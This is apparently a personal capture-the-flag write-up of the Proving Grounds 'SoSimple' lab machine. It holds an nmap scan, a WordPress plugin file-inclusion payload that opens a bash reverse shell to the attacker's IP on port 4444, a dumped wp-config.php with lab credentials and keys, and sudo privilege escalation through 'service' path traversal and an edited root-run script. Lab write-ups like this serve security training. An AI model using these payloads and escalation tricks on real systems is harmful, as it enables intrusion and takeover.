---
title: "ProvingGrounds - SoSimple"
date: 2024-06-01
draft: false
---

nmap
```bash
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p- -A 192.168.203.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 22:20 EDT
Nmap scan report for 192.168.203.78
Host is up (0.049s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
|   256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
|_  256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: So Simple
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=6/1%OT=22%CT=1%CU=42640%PV=Y%DS=4%DC=T%G=Y%TM=665BD
OS:719%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10A%TI=Z%II=I%TS=A)OPS(O1
OS:=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT11NW7%O4=M551ST11NW7%O5=M551ST11NW
OS:7%O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=
OS:Y%DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=
OS:8D64%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   48.83 ms 192.168.45.1
2   48.81 ms 192.168.45.254
3   49.36 ms 192.168.251.1
4   49.41 ms 192.168.203.78

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.57 seconds
```

-- bit of a messup - pay more attention to wpscan: 
![](/img/Pasted image 20240601215226.png)
this is interesting to us! 
![](/img/Pasted image 20240601215243.png)

![](/img/Pasted image 20240601215256.png)

cool! this is a RFI vulnerability. we store a payload.txt and host it with python and grab it using the exploitable plugin 
![](/img/Pasted image 20240601215349.png)
```bash
┌──(root㉿kali)-[~]
└─# echo "<pre>system('/bin/bash -c \"exec bash -i &>/dev/tcp/192.168.45.173/4444 <&1\"')</pre>" > payload.txt 

```

this also appears to be quite interesting: 
```bash
www-data@so-simple:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wp_user' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         '+$#Yoi[e,Z9%@u%$P5idKroK)B{z#g-YkG< w.O,F&bZ6HDm@@gH/C)b qr31(x0' );
define( 'SECURE_AUTH_KEY',  'LmxBYfw}ZsIa_ReJ;4%+>{%FI0=.T?OP)w,ViwVIN}A2r!N>E/aHN5%!{s>{BsW~' );
define( 'LOGGED_IN_KEY',    'Ji0Py,<U@r<mB^s,!m5xd/@vGk4Qyl.&-u.5_]/N#!Yv*5F4:MhR0&:Vsnwxu@tU' );
define( 'NONCE_KEY',        'VM6Hc<9++2o|5SLj:C5Jprx]pp+p(./LS05r~]-$U;P$pxa6L9Mrf^}gBK5c_}TP' );
define( 'AUTH_SALT',        ',}GI,#5>Z(@(!+O`W5h@5@k@rt3S2$ATVs{$Gev)zXe:4l#!:BtO2QLUVIIba;$F' );
define( 'SECURE_AUTH_SALT', ']4#21Qt_/ty}2SM+Ld`t0_8fO_]mkp|t!PgH%5$H9w&L5Co5&{N@Sp#<=tY4pYt_' );
define( 'LOGGED_IN_SALT',   'e|XRSb%[OG9amrc>>E^U9Frwk9HC/3|!Ipvj@r13f9kj~2*IE0cU0`FEWYHk`vTB' );
define( 'NONCE_SALT',       ',JyvRX(rMnu+0P`<Y&JT* Qts .8? !huGWUUpHB1B^su>{BR{m~OyU%q$o@&*yL' );
define( 'WP_SITEURL', 'http://' .$_SERVER['HTTP_HOST'].'/wordpress');
define( 'WP_HOME', 'http://' .$_SERVER['HTTP_HOST'].'/wordpress');
```
![](/img/Pasted image 20240601220748.png)
neat max private key is readable as wwwdata! 

![](/img/Pasted image 20240601220821.png)
![](/img/Pasted image 20240601220833.png)
hmmmm
maybe this is something we pass into hashcat 

something interesting I haven't seen before:
```bash
max@so-simple:~$ sudo -l
Matching Defaults entries for max on so-simple:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User max may run the following commands on so-simple:
    (steven) NOPASSWD: /usr/sbin/service
```

```bash
max@so-simple:~$ sudo -u steven /usr/sbin/service ../../bin/sh
$ whoami
steven
$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)
```

```bash
$ sudo -l
Matching Defaults entries for steven on so-simple:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User steven may run the following commands on so-simple:
    (root) NOPASSWD: /opt/tools/server-health.sh
```

```bash
$ cat /opt/tols/server-health.sh
cat: /opt/tols/server-health.sh: No such file or directory
```

```bash
$ vim /opt/tools/server-health.sh
$ cat /opt/tools/server-health.sh
#!/bin/bash
bash
```

```bash
$ sudo /opt/tools/server-health.sh
root@so-simple:/# whoami
root

```

